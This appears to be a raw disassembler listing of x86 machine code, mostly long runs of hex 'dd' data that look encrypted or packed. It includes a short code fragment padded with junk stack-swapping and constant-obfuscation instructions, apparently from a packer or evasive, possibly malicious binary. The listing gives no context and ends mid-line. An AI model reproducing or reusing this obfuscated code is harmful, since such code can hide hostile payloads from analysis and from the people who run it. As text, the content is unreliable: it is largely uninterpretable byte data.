68E0F05h dd 89000000h, 0E707F185h, 60906105h, 0B31DD2B9h, 5E962h dd 7CB70000h, 61B01C43h, 9E950h, 0E1F20000h, 0EECEEDE3h dd 90947854h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 16h, 92C35545h, 0BD8954D0h, 5E7192Dh, 35FF64h, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h dd 41000000h, 9575C351h, 8BC59AAEh, 85292404h, 5E71FF9h dd 0AD8589h, 820F05E7h, 6, 3318509h, 896405E7h, 25h, 95896000h dd 5E72F51h, 8E8h, 0E029D600h, 61067BFBh, 8D615ADDh, 0EA8F8585h dd 6089F905h, 50006A01h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1A04h, 0C3504000h, 8099DD5Ah, 31D7F634h, 0E72345B5h dd 81666005h, 610907C0h, 1D2E9h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1704h, 0C3504000h, 262B8CC9h dd 0E8DB8Bh, 5D000000h, 8F7EED81h, 9CBC05EAh, 830012FFh dd 0E7183DBDh, 18740005h, 1185858Bh, 0C605E7h, 0D5858B00h dd 0C605E729h, 95FF0000h, 5E71701h, 96B5FF60h, 8D05EA79h dd 0EA799A85h, 858D5005h, 5EA7B92h, 0BD95FF50h, 8305E709h dd 29610CC4h, 0E70265B5h, 819D3105h, 8D05E715h, 0EA7B92B5h dd 57006A05h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h dd 0C3574700h, 0EFE794D2h, 0F5B5E47h, 896058D1h, 0E719999Dh dd 8D61FC05h, 0E71D89BDh, 138D0F05h, 0E9000000h, 0Eh, 8B7196B3h dd 0E494D96Eh, 0B26B7176h, 9D094626h, 5E7240Dh, 0F003E80h dd 5484h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1604h, 0C3504000h, 0A4581BE8h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Bh, 0EFC35646h, 0B3E47FDBh, 0FC2FD0B3h dd 0FFFFAFE9h, 68C0FFFh, 29000000h, 0E71B51B5h, 0B805h dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h dd 50400000h, 605474C3h, 0AA61D48Ah, 27C59589h, 7B805E7h dd 89000000h, 0E7281D9Dh, 6D85C705h, 105E716h, 29000000h dd 0E70B89BDh, 248D8D05h, 0E905E74Dh, 12h, 5297592h, 0A39C0363h dd 4A1739A1h, 3F132A83h, 0E1FFEAF7h, 0B19D2960h, 0B505E712h dd 5C8B6145h, 0E8550C24h, 0 dd 7ED815Dh, 8B05EA91h, 0B883h, 96858900h, 8D05EA79h, 0EA8F7785h dd 0B8838905h, 5D000000h, 6AC3C033h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 0A5FAC356h dd 0E0800534h, 0E960DDE8h, 11h, 22AEEDC3h, 0C1618283h dd 6C661343h, 857680CBh, 0F5BD89EBh, 6105E716h, 56006A60h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 7E2AD40Eh, 0A18719CCh, 8C0FD7F5h, 6, 1B518531h, 858D05E7h dd 5EA9327h, 13E9h, 7E316B00h, 44386589h, 0A0690E54h, 7D014D13h dd 918307E9h, 168B0F90h, 0E9000000h, 11h, 6F7DD7CCh, 97FBECECh dd 5FC4AF7Dh, 0CBE780E2h, 0E86050BDh, 14h, 0CF3F5BEEh dd 2182C3BBh, 413ACF58h, 3CE4AA55h, 0B3EC8497h, 8A0Fh dd 615B0000h, 64FCF990h, 35FFh, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 180424h, 52420000h, 20738AC3h dd 64F821EBh, 2589h, 85890000h, 5E728A5h, 93D5858Dh, 810F05EAh dd 0Ch, 68F0Fh, 85890000h, 5E70021h, 1016089h, 0E71CDD8Dh dd 0A585C605h, 4F05E732h, 1890Fh, 68FC0000h, 0A245C57Eh dd 7E960h, 0E5930000h, 4997A71Bh, 0CE8B66DBh, 24348161h dd 5C8DB154h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 14h, 0D2C35646h, 0A8C0Fh, 5E90000h, 2D000000h, 6C9E99E3h dd 2B05B5FFh, 6A05E7h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1A0424h, 52420000h, 0BD6CE0C3h, 57045A9Fh, 7DA1858Dh dd 800F05EAh, 12h, 0DE9h, 9C688200h, 84496616h, 4059A42Eh dd 0FFF5C70Dh, 53006AD0h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1404h, 0C3534300h, 95BD31FFh, 8905E732h dd 0E705DD9Dh, 0B4E905h, 85310000h, 5E72981h, 0C245C8Bh dd 0E855h, 815D0000h, 0EA9331EDh, 99858B05h, 8905E708h dd 0E72B0585h, 85858B05h, 8905E717h, 0E7329985h, 6D858B05h dd 8905E72Ah, 0E7251185h, 0A585C605h, 5E732h, 7F2385C7h dd 5EAh, 858D0000h, 5EA93D5h, 0B88389h, 335D0000h, 0E860C3C0h dd 0Fh, 3312889Ch, 88F68F53h, 0E2820ABCh, 663D5F85h, 0F023F381h dd 0BE95Fh, 0B1120000h, 0E6E27DD0h, 0E664CE43h, 6A61EDh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h dd 9DE8A0C3h, 88298EF6h, 5E9h, 5A168800h, 74BCE0C5h, 6A0012FFh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 17042444h dd 43000000h, 0BA41C353h, 9D299F31h, 5E70B35h, 58F64h dd 0FC000000h, 6A04C483h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1D042444h, 46000000h, 0B413C356h, 0B696DE2Ah dd 91143EEAh, 21952B60h, 0F505E725h, 0E5E96161h, 10000000h dd 0DCFFEE4Dh, 1D1F3271h, 0DD7A0E0Ah, 3733538Fh, 557D2F6Dh dd 7F2D773Dh, 7DD77DD5h, 6DF73D57h, 73D575DFh, 3D577DD7h dd 0D55FEDF7h, 37335375h, 557D2F6Dh, 7F2D773Dh, 7DD77DD5h dd 6D171E57h, 602075DFh, 20206020h, 2060E0E0h, 0F77B68ACh dd 20A1E4A9h, 0A693B2D0h, 0B99DB7EDh, 0ACA3F291h, 60206020h dd 20206020h, 2060E0E0h, 0A335375h, 557D2F0Dh, 60206020h dd 0A7286020h, 50F0362Bh, 0B6F360D6h, 0F796A1EFh, 0E3A7B4E0h dd 0F47192B8h, 6DB9E9B3h, 602060F7h, 60206020h, 6DF72020h dd 73351ADFh, 3D577DD7h, 0D55FEDF7h, 37335375h, 557D2F6Dh dd 7F2D773Dh, 7DD77DD5h, 6DF73D57h, 73D575DFh, 3D577DD7h dd 0D55FEDF7h, 37335375h, 357D2F6Dh, 0E0A1Eh, 0A766C1A8h dd 43F2FD54h, 770BEC5Ch, 0D6CE9h, 97E86800h, 5CE905EAh dd 68FFFCEBh, 5EA98DFh, 0FCEB52E9h, 99E068FFh, 48E905EAh dd 68FFFCEBh, 5EA9A95h, 0FCEB3EE9h, 9B0D68FFh, 34E905EAh dd 68FFFCEBh, 5EA9BC6h, 0FCEB2AE9h, 9D4768FFh, 20E905EAh dd 68FFFCEBh, 5EA9E4Ah, 0FCEB16E9h, 9F0E68FFh, 0CE905EAh dd 68FFFCEBh, 5EA9FDBh, 0FCEB02E9h, 0A09C68FFh, 0F8E905EAh dd 5CFFFCEAh, 0ABFB9188h, 0F444DA4Fh, 429228F1h, 8DDD73BEh dd 0C25BB6Eh, 0AE7B80A3h, 0FB36C818h, 45EC1565h, 91A05FAFh dd 200D26FBh, 5A7C693Ch, 0C659DEC4h, 0C9ABF839h, 3745FC35h dd 883169C8h, 0FD54A2D6h, 0AF992F02h, 62B1C384h, 48AB126Ah dd 93361AA9h, 0F0BE5492h, 0D1BED38Ah, 549292EDh, 5C6FA775h dd 67C23947h, 5F4A821Ah, 51778528h, 0AB8DDAA8h, 0F747DD54h dd 1BDC2908h, 5A79A93Ch, 0A0ED3CBEh, 0A4F140BEh, 4F5CAA06h dd 112FBDADh, 0A92B0FFCh, 0E5B35A79h, 0D35EA1ADh, 1F12ED3Dh dd 82665368h, 0A5A79A8h, 795B043Ch, 8A5EAB86h, 6BBE3D4Bh dd 8A4E861Eh, 171AE57Ch, 28152A81h, 5A79A844h, 0DEC6FECCh dd 409B2934h, 0CCA26274h, 0E7E624Fh, 38065A79h, 851CA84h dd 5815ED0h, 0BF090000h, 98E534B1h, 43BCC800h, 0D62937EEh dd 0D950AB5Bh, 13BCF48Ch, 0CD63CE31h, 9148B0E3h, 76E045A4h dd 0AAF7C551h, 3B70AFC1h, 0B9499B04h, 91B69681h, 0AD385A79h dd 0C23D1F6Ch, 3C70226Fh, 444AE1AEh, 4619C3B6h, 53FA409Bh dd 0A3000000h, 78C56C95h, 0F59C0192h, 2B9111B3h, 0ADBFE2F3h dd 735545A1h, 5DA1513Ch, 0CDF69CD4h, 0A28FA45Bh, 54929EBEh dd 32C87846h, 0BFACBFF7h, 5177C6F8h, 745DAA78h, 0D5C52162h dd 85604CA8h, 0BF62E94h, 5A798F2Bh, 3F2AC0C6h, 409B4795h dd 11976h, 39C62100h, 0ADC2ABF8h, 0D3C7AB98h, 814F5491h dd 91D40EF2h, 90C89654h, 65B27784h, 68B57C83h, 4B9F6D7Fh dd 359B176Fh, 6BB87985h, 708F9BD3h, 8DFC2BC1h, 8F54923Dh dd 0F50AC170h, 92442408h, 0A6DEAC54h, 4C9B64B4h, 61D030AFh dd 62167C14h, 1BDDD229h, 1CD339D3h, 9AEEED0Eh, 0E5686A81h dd 23CC046Ah, 5BCE2C3Ah, 626D280Eh, 0AA8C821h, 9DC66CA4h dd 33CB04E1h, 0B34B98FEh, 0BEA9964Dh, 0C6517736h, 0B23341F8h dd 4A821A67h, 85456E58h, 8C724A82h, 0DD1ECEC1h, 1D2FE64Ch dd 53233153h, 39C17189h, 0D30BA3F0h, 0E686D3C0h, 3806575Fh dd 0A1887381h, 99C7D8EAh, 0C45986B7h, 0B14A9A8Ch, 1461D02Eh dd 0FD34CC7Ch, 5CBF7397h, 0CCA9DF02h, 9EC28h, 0E336AE00h dd 2CFDFD4Dh, 7A9F4696h, 0C56C94E4h, 0D1CDF2Fh, 0D2F55E77h dd 1A6A0029h, 67B74DE4h, 0B101979Ah, 784DE34Eh, 6A8E725Fh dd 30165A7Ch, 0A635C6ABh, 0E180978Ch, 0C76299CDh, 167CE27Ah dd 62CF3080h, 0FB2C77CCh, 26EDDA91h, 0A65176FCh, 0EACA8BD8h dd 855A78FBh, 54FE697Fh, 35409BD4h, 0D2h, 34ADBFE0h, 0B425C8B4h dd 1CE3EF27h, 0B1FE33CBh, 0EAFCB319h, 77645F97h, 54927B93h dd 74994D1Bh, 751E5678h, 8A776893h, 758A41A7h, 0B9A9767h dd 54926327h, 0A9E1AFh, 925FD03Fh, 42DD254h, 6E11E6Eh dd 19D036FBh, 67331704h, 0EDBB5492h, 11230CB5h, 35B2D5C2h dd 39DF17CEh, 0FAE79E0Eh, 5177110Fh, 0C9B34917h, 8A772E9Eh dd 575FA12Ch, 1227DEACh, 0E532F704h, 0F209154Dh, 0AA51A137h dd 86D9F631h, 66CF96Eh, 3FC5AE2h, 0B15532DFh, 8F5h, 44DA3FA5h dd 8D2306F4h, 0DB71A83Dh, 26BC758Bh, 6E0425D6h, 32C9EC55h dd 0ED1161F7h, 0A35EAE44h, 57A8F88Eh, 566F44DAh dd 7C6B8569h, 0A2270D5Ah, 0E44DB1BFh, 0CE5BA0ACh, 1A17E838h dd 39C62F84h, 0C83341F8h, 447C1461h, 0B09DB29Bh, 5491D3CCh dd 424E8654h, 2D5226BDh, 0AC40AE22h, 4B59B046h, 4B2D7AAFh dd 962E7BB6h, 2E647C30h, 0C32C8118h, 7C65108Bh, 8EBAFE6Ah dd 4078055Ah, 48FF699Ah, 58D92533h, 503B730Bh, 5177D40Dh dd 0B27F8290h, 8795CD65h, 53A0916Fh, 67E855BBh, 0B041CBB1h dd 4DDC1E2Ch, 8A306800h, 8D5AA559h, 0F258BE73h, 906B4E3Bh dd 25F35627h, 702B5CD8h, 29969F83h, 0F359275Fh, 563A273Ch dd 0E05F2996h, 8E5C0E1Bh, 17564356h, 975C1372h, 0FB0412C9h dd 1414F8E5h, 0CE9C6514h, 5BA3B168h, 59A789D6h, 8DF38BD8h dd 0EC136355h, 0CB252145h, 9673DA51h, 7F4F2h, 0DB3EA600h dd 2405F545h, 72A73E8Eh, 0BD748CDCh, 524D727h, 0CAED566Fh dd 1262F831h, 5FAF45ECh, 0A9F98FA2h, 7045DB56h, 6C866A57h dd 280E5A7Ch, 0AE39C6A3h, 2F7CE237h, 611880B3h, 76F7F574h dd 7027F551h, 6D73995Eh, 68A04CA2h, 0F15B8C76h, 17C4D3Ah dd 36045763h, 0A38E717Fh, 0EF42BD0Dh, 8BFD26A2h, 983DE7D4h dd 0F7C55D4Dh, 64CD3240h, 0B0817ECEh, 0D00FEBF9h, 4B98FE2Bh dd 56D27BB3h, 0C53C6D2Dh, 225520D0h, 8D1805BCh, 9063337Ch dd 2658527Eh, 720A57DAh, 36DA42BEh, 0C90167CAh, 0CBAF9CBBh dd 536C3500h, 55FB1F85h, 9FD330DEh, 73F1EC2h, 895B0000h dd 50AAFA90h, 0F2F343D9h, 0BF419127h, 6F8CDC72h, 0A20B24BAh dd 17AD7C7Fh, 64FA37C7h, 0AE44ED14h, 0FA90A15Eh, 3B1F0C25h dd 0C35A7C6Eh, 0ADBF58DDh, 267F5F8Fh, 247024ACh, 0DC63D826h dd 50832961h, 6AD0619Eh, 72A4C6B3h, 0DEAC517Bh, 47E21927h dd 11EEFC0Fh, 0C53A8A20h, 70A31F6Ch, 0A4F140BEh, 2EFA60Ch dd 5761B783h, 0C991B583h, 1FDF0226h, 6C79E42h, 11D30000h dd 0D8227208h, 7A6BBB51h, 47B9099Fh, 0F70454EAh, 1A839C32h dd 8F2504F7h, 0DC72BF3Fh, 26BC758Ch, 720829D6h, 0B397849Dh dd 3B5A7C6Eh, 0FB2CD055h, 1CEDDA91h, 0A4517B47h, 0F50A1FD6h dd 7C692408h, 0A6DEAC5Ah, 7E7E659Ah, 0C4C00E98h, 83AE5202h dd 0C837871Dh, 25331C69h, 0F99F53D6h, 85208DE0h, 1344EA22h dd 0F0DDF2A9h, 5A7C460Ch, 7B8EC694h, 65B9E48Eh, 0E79E6C57h dd 4DC7B5D5h, 972F7CADh, 0AAC5A8E3h, 0AE515F72h, 41BECC83h dd 684C39F0h, 0F0606705h, 0A1F8EA22h, 89C16893h, 62AF827Dh dd 944BBDE6h, 4C0C1CA7h, 3256245Dh, 0D917CE32h, 0E39DDBAh dd 8C000006h, 0DB2BC158h, 24740A1Fh, 72C258C1h, 0BD0DA38Eh dd 3C55EB3Eh, 0DE4BB0D3h, 2B06F848h, 75BC4595h, 0C1708FDFh dd 503D562Bh, 5A7C6E6Ch, 0BF890EF4h, 92DF4AB1h, 49B6C2FAh dd 0A0B29BE8h, 0D39AFFEAh, 0BF41F1BDh, 0D12E3A72h, 0E349E816h dd 4DDC1E2Ch, 0BECC2315h, 79FEC3Dh, 8EFE29CFh, 0E5FFC5D7h dd 1327318Fh, 45929763h, 756275ADh, 5177B016h, 0BA7BC896h dd 5A79AFDAh, 0C3996F75h, 0AFE74AB5h, 9B241DC7h, 4DFE40h dd 2CA90000h, 0CCDA91FBh, 5A47FE33h, 5491D376h, 0E5F830FEh dd 76FC31F8h, 619EAC51h, 52B87986h, 0F13E0C1Ah, 78FB5030h dd 17E5EB5Ah, 53372439h, 0D95A78FBh, 8AFAAE0Ah, 4816C86Dh dd 62359294h, 376F476Dh, 9B4CA54Fh, 0F18640h, 0C6310000h dd 3341F839h, 432714CCh, 0CB5491D3h, 0B65F97FDh, 4B0227D4h dd 0BB6BBE3Dh, 0BB4EC45h, 0A45BD629h, 0D3BEA28Fh, 54415491h dd 5491D370h, 0AA782AF8h, 0ABC0DBF6h, 73AB69A9h, 0CC17E8CAh dd 386A4D9Ah, 0FDB41A78h, 59F1A8EBh, 91D9886Ch, 8E421054h dd 0DA123F30h, 994AB9E8h, 0B34C5492h, 7F91E87Eh, 0C1745680h dd 0BFCB039Bh, 28A4F140h, 0E9D68DFFh, 517730F6h, 0D56EE2FEh dd 9F53DE22h, 167C365h, 0E656816Bh, 9BDC422Fh, 0EDC575Fh dd 2DB24957h, 4ACF16D1h, 99FF97E4h, 0E148B303h, 321B1BDh dd 7E22FFDFh, 48Dh, 0AC42D70Dh, 0F58B9E5Ch, 43D940A5h dd 8E240DF3h, 0D66CBD3Eh, 0CA3154BDh, 8579C95Fh, 3BC616ACh dd 0EF1060F6h, 0BED7AC42h, 7C70EDD1h, 0A8F755Ah, 3DF435C6h dd 2A62CF2Fh, 5CFE138h, 3C2AF95Fh, 1BE4F028h, 2C2B8016h dd 0EDDA91FBh, 5176FC26h, 0CA8BD8A6h, 5A78FBEAh, 0FE697F85h dd 409BD454h, 0D735h, 39C6E000h, 0D3D6BAA7h, 905E5491h dd 0AE1405E0h, 0AD7C7F61h, 0D1309F60h, 162B5491h, 91D74529h dd 0C7FFCD54h, 57ED44BBh, 0DB0CF200h, 6DA50B26h, 46939E61h dd 80B14F5Dh, 81B05133h, 0A3DE31Bh, 0BFEEBA2h, 0E5176C9h dd 0F62EFB00h, 9A841AE8h, 0E74AB569h, 0E59C029Ah, 0FE100ED3h dd 174F610Dh, 0F9D21704h, 3A52575Fh, 851D6AC7h, 6653681Fh dd 60631B82h, 1C341805h, 0EEBC6063h, 23366E3Ch, 31F5E615h dd 0AB3FC5F5h, 0A1786D1Dh, 0C056BC54h, 7A9E8B70h, 0DF02AEFEh dd 8AC56946h, 10000003h, 5FAF45D4h, 0A8F88E9Bh, 0F646DC3Dh dd 4191270Ah, 0C0D96FBAh, 62C73457h, 0AF827CCCh, 0F938C919h dd 45EC1363h, 0D4C1DAAFh, 5A7C71F0h, 0C60D9278h, 0E5EF435h dd 55AA40F1h, 0A895AABFh, 5491D3C4h, 0BEF7E4Ch, 935491D4h dd 7E818DC5h, 7B8466B3h, 9F1FFB6h, 33BD320h, 2D255211h dd 0EEDB92FAh, 5176E2ABh, 4FF86533h, 42D5B23Dh, 174FEC0Dh dd 8BC0F42Ch, 41ABDCF6h, 66697C8Ah, 0F830969Bh, 73B1F8E5h dd 1231FB93h, 44C5B000h, 0CE5D4C7Fh, 4958EEAh, 58A58C74h dd 0DA400EC0h, 76E6118Dh, 6A93D2BFh, 4513017Fh, 647F808Eh dd 0AF4A000h, 4CE24897h, 0A2E03FCh, 34E5AB78h, 0C63FE3C0h dd 0D4000002h, 23730910h, 6CBC52D7h, 0BA0AA079h, 555EB46h dd 849D33F6h, 2603F81Bh, 73BE4090h, 0BD748DDDh, 928D727h dd 98859E73h, 5A7C72B4h, 0C6D1563Ch, 2FABF839h, 0F0DD9404h dd 5176DC69h, 46059B69h, 4FB0BE23h, 0D304AAE2h, 0E84EDB1Fh dd 154E1F31h, 8CCFF43Eh, 0DA72BF72h, 0ECD0BD74h, 745A790Bh dd 6E5B6EA6h, 575E1A2Bh, 414997B3h, 1373663Dh, 60574226h dd 96FCCA60h, 0D642C330h, 46F3EE41h, 7F4AB1Dh, 19D3EC24h dd 0F1995A7h, 91FAB3EDh, 0C67D4B59h, 489D42B8h, 86EC84D1h dd 7F635039h, 722D5E0h, 0F29BD339h, 2AFFFB09h, 0B11B4CF2h dd 0BCCE0DFAh, 804E1FBFh, 0ED44BBC9h, 39F80757h, 0A5807715h dd 7014F116h, 1F9h, 40D643A1h, 891F0AF0h, 0D76DAC39h, 22B87987h dd 6A0029D2h, 36C5E851h, 0F10D5DF3h, 0A75AAA40h, 5BA4F48Ah dd 526B40D6h, 7C728165h, 9E23095Ah, 0ABF839C6h, 5F52B0C2h dd 2B7F2922h, 681A4DF3h, 0B64E9B96h, 738B9950h, 867386BEh dd 5177885Bh, 505E15E3h, 32CF7FAAh, 16D5C7FFh, 7C7F8D58h dd 90C860ADh, 984FB9EAh, 5E9768ABh, 0B522F057h, 32273034h dd 577A0F8h, 0CC7E614Eh, 38061638h, 0D4446FEBh, 6F3081Dh dd 1F3AD322h, 91DE53ACh, 0C97947F9h, 0D4BFF732h, 1C24AE95h dd 2CFDFD15h, 2AE147DFh, 2F130015h, 0B7252551h, 5AA5B1E9h dd 0EF141D7h, 8E97FF23h, 4E11A40h, 13860h, 97826200h, 0E049B101h dd 2EEBFA4Ah, 79B84898h, 0C16893E3h, 86A9122Bh, 0CE1EB475h dd 1B6B0130h, 65B54BE6h, 2C01979Ah, 73422613h, 0E4CA5A7Ch dd 0F839C65Fh, 5B3F2C41h, 0E35491D3h, 4B34DD15h, 2471A83Dh dd 85AE548Ch, 0B34E5C13h, 964F317Eh, 8E6D1D83h, 7EB64E9Bh dd 0C6EB7E6Bh, 25F35176h, 0C072A58Fh, 9A1EE3Bh, 7DEECA3h dd 0DAC7DA12h, 57625D11h, 0BF207D99h, 19D93BD4h, 7B8466B3h dd 389E936Ch, 0FD456F81h, 91C2B339h, 0E8176759h, 1B16EAF8h dd 6308A88Ch, 0E29C2E60h, 0A5C1A770h, 72BF25F3h, 41D46AB1h dd 1A0FEC32h, 1D14EBCDh, 5FAD5BD0h, 489ED252h, 952B06F9h dd 583C293Eh, 0E0D34458h, 31CEDA12h, 47344900h, 0D3445863h dd 3CE51DEBh, 3E8BA65Ah, 408DA45Ch, 4592875Eh, 0D56B8171h dd 445904E8h, 58BE8CD3h, 0C03A48E5h, 46331C69h, 0D3445862h dd 7EB61CEAh, 0E2CBAh, 0EFFB33FEh, 3B8B2110h, 0A8B66DC4h dd 0A089D653h, 4458CFB3h, 238957D3h, 1A9E42EBh, 0FF000000h dd 5919FDEAh, 89A1D344h, 1C54BA77h, 311580Bh, 50E835FCh dd 98D061A0h, 0FB1EC687h, 0FE33CCAEh, 0FF32CFB1h, 32ED0B2h dd 227D4B6h, 128D3B5h, 32ED2B4h, 811D4B6h, 821D9BBh, 56686FBBh dd 8900000Eh, 0E6892434h, 4C681h, 0EE830000h, 24348704h dd 0E789575Ch, 4C781h, 0EF830000h, 243C8704h, 240C895Ch ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], eax mov ecx, 6D0F5CA2h inc ecx not ecx neg ecx sub ecx, 4E175CCAh push eax mov eax, 1B1D6A4Ch xor ecx, eax pop eax push esp mov eax, [esp] add esp, 4 push esi mov esi, ecx mov [eax+8], esi mov esi, [esp] add esp, 4 mov eax, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp mov ecx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_546C33 ; --------------------------------------------------------------------------- db 2Fh dd 0A1F9B886h, 0C50305EAh, 0F400E0FFh, 8CB52153h, 0C0F82FCFh dd 60410320h, 376B6846h, 38A237D1h, 72AD5C8Dh, 3F1F412Ah dd 0B3D4129h, 1ECE7529h, 48E97E7Ah, 50000001h, 54000000h dd 58000000h, 5C000000h, 60000000h, 64000000h, 68000000h dd 6C000000h, 0B0000000h, 0B4000000h, 0B8000000h, 0BC000000h dd 0C0000000h, 0C4000000h, 0C8000000h, 0CC000000h, 0D0000000h dd 0D4000000h, 0D8000000h, 0DC000000h, 0E0000000h, 0E4000000h dd 0E8000000h, 0EC000000h, 38h dup(0) dd 0CF000000h, 0EB00578Eh, 8D00A050h, 0EAA2CA85h, 0CD8D8905h dd 0E905E721h, 6, 8975F290h, 85896B62h, 5EAA40Ah, 12D59D89h dd 5E905E7h, 8000000h, 0C168BDF7h, 32A585C6h, 665405E7h dd 0D668F28Bh, 8194C77Eh, 0E9532404h, 0B509599Ah, 5E71181h dd 2B05B5FFh, 858D05E7h, 5EA7DA1h, 182D8589h, 0D0FF05E7h dd 6E9h, 6F513E00h, 8908ABD0h, 0EAA40E85h, 4471BE05h, 0BD315AB9h dd 5E7271Dh, 54E9h, 10E800h, 0BF720000h, 0C21AE6Ah, 0F53FA171h dd 0BF08E885h, 0BB6689A0h, 565BE7CBh, 0A40AB58Bh, 68905EAh dd 0A40A8583h, 5E0405EAh, 0B58D60C3h, 5EAA2CAh, 6A560FEBh dd 0FF36FF00h, 0EAA40E95h, 0C6835E05h, 3E8304h, 0C361EC75h dd 8B4FD780h, 0E70391BDh, 0BC858D05h, 6005EAA4h, 0BD89FB8Bh dd 5E72229h, 0F1858961h, 0E805E700h, 14h, 5296D28Fh, 6425709h dd 0F13C7E1Ah, 0C5DB623h, 5A0DA5CDh, 6DBD8960h, 8905E724h dd 0E71505BDh, 0F5F6105h, 58Bh, 0C0816600h, 0C7818074h dd 6254h, 0FFF5DB2Bh, 0BD893B34h, 5E709D5h, 0F5B58B5Ah dd 8105E719h, 48C616C2h, 0C5C28108h, 0FC2B837Eh, 3C54F281h dd 858B75D8h, 5E7189Dh, 511F1489h, 79B533h, 535E05E7h dd 90F18166h, 0EB8159D5h, 647EA797h, 0A793C381h, 0FB81647Eh dd 0FFFF9E64h, 1A850Fh, 0B58B0000h, 5E72459h, 27E9h, 0AA7CD000h dd 44AE5785h, 435BD272h, 0BD5C56ADh, 0FFFF8EE9h, 0DD3F79FFh dd 4EB1A86Ch, 0DFBE761Bh, 5808DB4Ah, 8E8909DCh, 75E9h dd 8C666000h, 0F04A8D8h, 3584h, 0FF016A00h, 0E70899B5h dd 0A1858D05h, 0FF05EA7Dh, 618589D0h, 8B05E720h, 0CEFC1FEh dd 4000068h, 6A006A20h, 0D685702h, 0FF000100h, 0E7206195h dd 32E905h, 85C60000h, 5E732A5h, 30DF6856h, 0B5FFA9C5h dd 5E72B05h, 7DA1858Dh, 0D0FF05EAh, 1BC18589h, 858D05E7h dd 5E70AEDh, 6A206A50h, 95FF5605h, 5E71BC1h, 0E0C1C361h dd 39EB06h, 0CC00C000h, 0E400C002h, 0C002h, 0D0000000h dd 154623A3h, 40773AAFh, 0E3232BA7h, 274E20A3h, 494F2AE4h dd 0D67700CAh, 7230286h, 0C15301BEh, 204B1AA4h, 29472FAFh dd 0C52324AAh, 4A234D22h, 0E67A6ECAh, 0B66FC793h, 6D67CFCEh dd 0A42357CEh, 91720FCAh, 998D8568h, 4AA3E94Eh, 20E3C59Dh dd 26CB1ECAh, 0B2234ECAh, 0C07B8D92h, 25276A8Eh, 47276A8Eh dd 69234ECAh, 0FF4E8D9Ah, 0F7A0817Ch, 20C4424Bh, 112A3BCAh dd 0AE0B5777h, 0BD574ECFh, 92A81D9Ah, 2927F772h, 0E9A6C7CAh dd 0C726A9CEh, 0CC97DD57h, 0C9F0B1CFh, 509ECD92h, 0A426A9E2h dd 17359BEh, 2927F772h, 0E9A6C7CAh, 0C726A9CEh, 0CC92CC57h dd 0C9F0B1CFh, 88A22892h, 0A4499ACDh, 5220A698h, 73034ECAh dd 0C0AA1409h, 0EA24AEEh, 25364AEEh, 0C0614ECAh, 0C2CD0909h dd 433C8F47h, 34E3C5CFh, 0ACE59941h, 91C47C6Fh, 1C23249Ch dd 25234D22h, 517D6ECAh, 6D57C794h, 8067CFCEh, 522359CEh dd 0EA7508CAh, 0C151B6Fh, 5DD2C341h, 0A4454B2Dh, 0FAEC492Dh dd 8B9A3EA7h, 90A2179Ch, 43EB71EEh, 7B232494h, 94234D22h dd 89796ECAh, 177C790h, 0B667CFCEh, 492357CEh, 67710CCAh dd 0A233269Ch, 0DBA8F51Bh, 93D2D3CBh, 0FFDC4B2Dh, 20C465CFh dd 7A704EA0h, 49234EC9h, 0FFE015EAh, 56071243h, 2D070A4Bh dd 94234ED3h, 66E01D89h, 0D2FF3070h, 4F966DCBh, 0C426A9D9h dd 4E5EEF4Fh, 22324CFh, 29234D22h, 577B6ECAh, 6E67C792h dd 167CFCEh, 922358CEh, 8A730ECAh, 2FC7E373h, 0B50BA75Fh dd 43F3B1CFh, 97CB1ECAh, 6A234ECAh, 0AC7B8D92h, 13276A8Eh dd 54276A8Eh, 0E4234ECAh, 97218D9Ah, 2D86C452h, 0AAC1AB02h dd 513EF3C1h, 21494B2Dh, 92234A22h, 49334ECAh, 0BD9D28CAh dd 42CB1ED6h, 4F234ECAh, 18FA783Eh, 8BC7B91h, 0CE00DAB4h dd 240A2FD0h, 0DA8148Ch, 2F454AEEh, 3423C51Bh, 0A0EE5473h dd 7D276A8Eh, 4A234EC6h, 50426021h, 871CF0Ch, 6E923D9Bh dd 0A433A792h, 0FD1C4ECAh, 87F67CFCh, 0B4D09210h, 0DB4D5DA1h dd 0AE43E3CAh, 753B1B7Fh, 4DCB2FCFh, 48234ECAh, 34234EC8h dd 7908BE74h, 0D0A8B941h, 58CA4AEEh, 77234ECAh, 11304014h dd 276C84F7h, 11B776DFh, 434A3F2Eh, 2623C595h, 94235E44h dd 4A26A6CAh, 45B54ECAh, 2CDF8955h, 217955A8h, 8067C790h dd 52A941CEh, 71234ECAh, 0FED0F1C5h, 1C2324CAh, 25234D22h dd 517D6ECAh, 6D57C794h, 8067CFCEh, 522354CEh, 0EA7508CAh dd 82C1C3F8h, 0C3353396h, 0C223034Fh, 7A67FCFh, 0B626A9D2h dd 0A430A71Ah, 9F8D4ECAh, 3CAD2455h, 0F2405C12h, 5B22D7F6h dd 9B8502EDh, 0A8A6C7C5h, 0C026A46Ch, 433FF747h, 57DBC5CFh dd 29234C06h, 321DCB43h, 8AA04B20h, 67A6C7D2h, 0A126A46Ch dd 4BCFF70Ah, 0ED04ECAh, 25EACFACh, 0BCA81C29h, 91C45DCFh dd 0EFA68895h, 6626A9F8h, 7A724EA0h, 49234EC9h, 0FDE017EAh dd 